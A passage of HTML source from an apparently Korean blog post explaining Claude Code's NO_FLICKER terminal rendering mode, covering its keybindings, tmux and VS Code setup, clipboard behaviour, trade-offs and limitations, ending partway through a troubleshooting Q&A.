    style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot;
    data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;export CLAUDE_CODE_SCROLL_SPEED=3&lt;/code&gt;&lt;/pre&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;1~20 범위이며, 3이 vim 기본값과 동일하다. VS Code 통합 터미널 등은 노치당 1 이벤트만 보내 느릴 수 있으므로, 이 경우 값을 높이는 것이 권장된다.
  &lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.4
    Transcript 모드 (v2.1.88+)&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+o&lt;/code&gt;로
    transcript 모드에 진입한다. less 스타일 네비게이션과 검색을 지원한다:&lt;/p&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          키&lt;/th&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          동작&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;/&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;검색 열기&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;n&lt;/code&gt;
          / &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;N&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;다음/이전 매치&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;j&lt;/code&gt;
          / &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;k&lt;/code&gt;
          또는 &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;&amp;uarr;&lt;/code&gt;
          / &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;&amp;darr;&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;한 줄 스크롤&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;g&lt;/code&gt;
          / &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;G&lt;/code&gt;
          또는 &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Home&lt;/code&gt;
          / &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;End&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;상단/하단 이동&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+u&lt;/code&gt;
          / &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+d&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;반 페이지 스크롤&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+b&lt;/code&gt;
          / &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+f&lt;/code&gt;
          또는 &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Space&lt;/code&gt;
          / &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;b&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;전체 페이지 스크롤&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Esc&lt;/code&gt;,
          &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;q&lt;/code&gt;,
          &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+o&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;나가기&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;[&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;전체 대화를 네이티브 스크롤백 버퍼에 쓰기 (Cmd+f 사용 가능)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;v&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;임시 파일로 저장 후 $VISUAL/$EDITOR에서 열기&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;transcript 모드에서 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;[&lt;/code&gt;를
    누르면 전체 대화를 터미널의 네이티브 스크롤백 버퍼에 쓴다. 이후 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Cmd+f&lt;/code&gt;,
    tmux copy mode 등 네이티브 도구가 작동한다. &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;v&lt;/code&gt;를
    누르면 임시 파일로 저장 후 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;$VISUAL&lt;/code&gt;
    또는 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;$EDITOR&lt;/code&gt;에서
    연다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 7 --&gt;
  &lt;h2 id=&quot;section7&quot;
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 실전 사용 예시 &amp;mdash; 구체적 시나리오&lt;/b&gt;&lt;/h2&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7.1 VS Code
    통합 터미널에서 깜빡임 해결&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;VS Code 통합 터미널은 xterm.js 기반이며, 렌더링 처리량이 병목인 대표적 환경이다. Claude Code가 도구 출력을 스트리밍하는 동안 화면이 깜빡이거나
    스크롤 위치가 맨 위로 점프하는 현상이 발생한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;해결: &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;~/.zshrc&lt;/code&gt;에
    &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;export CLAUDE_CODE_NO_FLICKER=1&lt;/code&gt;을
    추가한다. 추가로 VS Code 터미널에서 마우스 휠 스크롤이 느리다면 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;export CLAUDE_CODE_SCROLL_SPEED=5&lt;/code&gt;
    정도로 높이는 것이 도움이 된다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7.2 tmux
    환경에서의 설정&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;tmux에서 마우스 휠 스크롤을 사용하려면 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;~/.tmux.conf&lt;/code&gt;에
    다음을 추가해야 한다:&lt;/p&gt;
  &lt;pre class=&quot;applescript&quot;
    style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot;
    data-ke-language=&quot;text&quot;&gt;&lt;code&gt;# ~/.tmux.conf
set -g mouse on&lt;/code&gt;&lt;/pre&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;키보드 스크롤(PgUp/PgDn)은 mouse 설정 없이도 동작한다.&lt;/p&gt;
  &lt;!-- callout: red --&gt;
  &lt;div
    style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주의&lt;/b&gt;: &lt;code
        style=&quot;background: rgba(0,0,0,0.08); padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;tmux -CC&lt;/code&gt;(iTerm2
      통합 모드)와는 &lt;b&gt;비호환&lt;/b&gt;이다. alternate screen buffer와 마우스 트래킹이 정상 작동하지 않는다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7.3 클립보드 경로
    이해&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;클립보드 복사 경로는 환경에 따라 다르다:&lt;/p&gt;
  &lt;ul style=&quot;padding-left: 20px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
    &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;tmux 내&lt;/b&gt;: tmux paste buffer에 쓴다&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;SSH 환경&lt;/b&gt;: OSC 52 이스케이프 시퀀스로 폴백 (일부 터미널에서 기본 차단)&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;복사 후 어떤 경로를 사용했는지 토스트로 표시된다&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 8 --&gt;
  &lt;h2 id=&quot;section8&quot;
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 트레이드오프&amp;nbsp; &amp;mdash; 무엇을 잃는가&lt;/b&gt;&lt;/h2&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;NO_FLICKER 모드는 깜빡임을 제거하는 대가로 기존 터미널 동작 일부를 변경한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;boris_cherny도 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
      href=&quot;https://x.com/bcherny/status/2039421575422980329&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;X/Twitter에서&lt;/a&gt; 이 트레이드오프를
    솔직하게 공개했다.&lt;/p&gt;
  &lt;div style=&quot;display: flex; justify-content: center; margin: 20px 0;&quot;&gt;
    &lt;iframe src=&quot;https://platform.twitter.com/embed/Tweet.html?id=2039421575422980329&quot; style=&quot;width: 100%; max-width: 550px; min-height: 640px; border: none; border-radius: 12px;&quot; allowfullscreen=&quot;allowfullscreen&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0 0 20px 0; font-size: 13px; color: #666;&quot;&gt;출처: &lt;a href=&quot;https://x.com/bcherny/status/2039421575422980329&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; style=&quot;color: #0066cc; text-decoration: none;&quot;&gt;boris_cherny X/Twitter&lt;/a&gt; &amp;mdash; NO_FLICKER의 장점과 트레이드오프 설명&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;8.1
    Before/Now 비교표&lt;/h3&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          기존 동작&lt;/th&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          NO_FLICKER 모드 (v2.1.88+)&lt;/th&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          우회 방법&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Cmd+f&lt;/code&gt;
          또는 tmux 검색&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+o&lt;/code&gt;
          &amp;rarr; &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;/&lt;/code&gt;로
          인앱 검색&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+o&lt;/code&gt;
          &amp;rarr; &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;[&lt;/code&gt;로
          네이티브 스크롤백에 쓴 뒤 &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Cmd+f&lt;/code&gt;
          사용&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;네이티브 클릭-드래그 선택/복사&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;인앱 선택, 마우스 릴리스 시 자동 복사&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;/config&lt;/code&gt;에서
          &quot;Copy on select&quot; 끄고 &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+Shift+c&lt;/code&gt;
          수동 복사&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Cmd&lt;/code&gt;-클릭으로
          URL 열기&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;클릭으로 URL 열기&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;해당 없음 (더 간편해짐)&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
      href=&quot;https://code.claude.com/docs/en/fullscreen&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;이 표에서 주목할 점은 세 번째 행이다 &amp;mdash; URL 열기는 오히려 더 간편해진다. 가장 큰 불편은 네이티브 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Cmd+f&lt;/code&gt;
    검색의 부재인데, &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+o&lt;/code&gt;
    &amp;rarr; &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;[&lt;/code&gt;로
    네이티브 스크롤백에 쓰는 우회 방법이 공식적으로 제공된다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;8.2 마우스 캡처
    비활성화 옵션 (v2.1.88+)&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;마우스 캡처가 워크플로우를 방해하는 경우, &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;CLAUDE_CODE_DISABLE_MOUSE=1&lt;/code&gt;로
    마우스 캡처만 비활성화할 수 있다:&lt;/p&gt;
  &lt;pre class=&quot;routeros&quot;
    style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot;
    data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;CLAUDE_CODE_NO_FLICKER=1 CLAUDE_CODE_DISABLE_MOUSE=1 claude&lt;/code&gt;&lt;/pre&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;flicker-free 렌더링과 flat memory는 유지하면서 키보드 스크롤은 계속 동작한다. 대신 클릭-투-커서, 클릭-투-확장, URL 클릭, 휠 스크롤을
    잃는다. 터미널이 네이티브로 선택을 처리하게 된다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 9 --&gt;
  &lt;h2 id=&quot;section9&quot;
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 제한사항 및 주의사항&lt;/b&gt;&lt;/h2&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;9.1 Research
    Preview 상태&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;NO_FLICKER는 research preview이다. 일반적인 터미널 에뮬레이터에서 테스트되었지만, 드문 터미널이나 특이한 설정에서는 렌더링 문제가 발생할 수
    있다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;9.2 tmux -CC
    비호환&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;iTerm2의 tmux 통합 모드(&lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;tmux -CC&lt;/code&gt;)에서는
    alternate screen buffer와 마우스 트래킹이 정상 작동하지 않는다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;9.3 SSH 환경의
    클립보드&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;SSH 환경에서 복사 시 OSC 52 이스케이프 시퀀스로 폴백하는데, 일부 터미널에서 기본 차단된다. 해당 터미널의 설정에서 OSC 52를 허용해야 한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;9.4 스크롤 가속도
    차이&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;boris_cherny에 따르면, 스크롤 가속도가 기기마다 다르며 물리감 튜닝이 진행 중이다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;9.5 문제 보고 방법
  &lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;문제 발생 시 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;/feedback&lt;/code&gt;
    명령 또는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code/issues&quot;
      target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issues&lt;/a&gt;에 터미널 에뮬레이터 이름과 버전을 포함하여 보고한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 10 --&gt;
  &lt;h2 id=&quot;section10&quot;
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 트러블슈팅 Q&amp;amp;A + 결론&lt;/b&gt;&lt;/h2&gt;
  &lt;!-- Q&amp;A 박스 --&gt;
  &lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
    &lt;p style=&quot;margin: 0 0 20px 0; font-weight: bold; color: #1a3a52;&quot; data-ke-size=&quot;size20&quot;&gt;Q&amp;amp;A&lt;/p&gt;
    &lt;p style=&quot;font-weight: bold; margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q. NO_FLICKER 모드를 켰는데 마우스 휠 스크롤이 안 된다.&lt;/p&gt;
    &lt;p style=&quot;margin: 0 0 20px 0;&quot; data-ke-size=&quot;size16&quot;&gt;tmux 환경이라면 &lt;code
        style=&quot;background: rgba(0,0,0,0.06); padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;set -g mouse on&lt;/code&gt;이
      &lt;code
        style=&quot;background: rgba(0,0,0,0.06); padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;~/.tmux.conf&lt;/code&gt;에
      있는지 확인한다. 키보드 스크롤(PgUp/PgDn)은 mouse 설정 없이도 동작한다.&lt;/p&gt;
    &lt;p style=&quot;font-weight: bold; margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q. Cmd+f로 검색이 안 된다.&lt;/p&gt;
    &lt;p style=&quot;margin: 0 0 20px 0;&quot; data-ke-size=&quot;size16&quot;&gt;NO_FLICKER 모드에서는 &lt;code
        style=&quot;background: rgba(0,0,0,0.06); padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+o&lt;/code&gt;
      &amp;rarr; &lt;code
        style=&quot;background: rgba(0,0,0,0.06); padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;/&lt;/code&gt;로
      인앱 검색을 사용한다. 네이티브 검색이 필요하면 &lt;code
        style=&quot;background: rgba(0,0,0,0.06); padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+o&lt;/code&gt;
      &amp;rarr; &lt;code
        style=&quot;background: rgba(0,0,0,0.06); padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;[&lt;/code&gt;로
      대화 전체를 네이티브 스크롤백에 쓴 뒤 &lt;code
        style=&quot;background: rgba(0,0,0,0.06); padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Cmd+f&lt;/code&gt;를
      사용한다.&lt;/p&gt;
    &lt;p style=&quot;font-weight: bold; margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q. tmux -CC에서 화면이 깨진다.&lt;/p&gt;
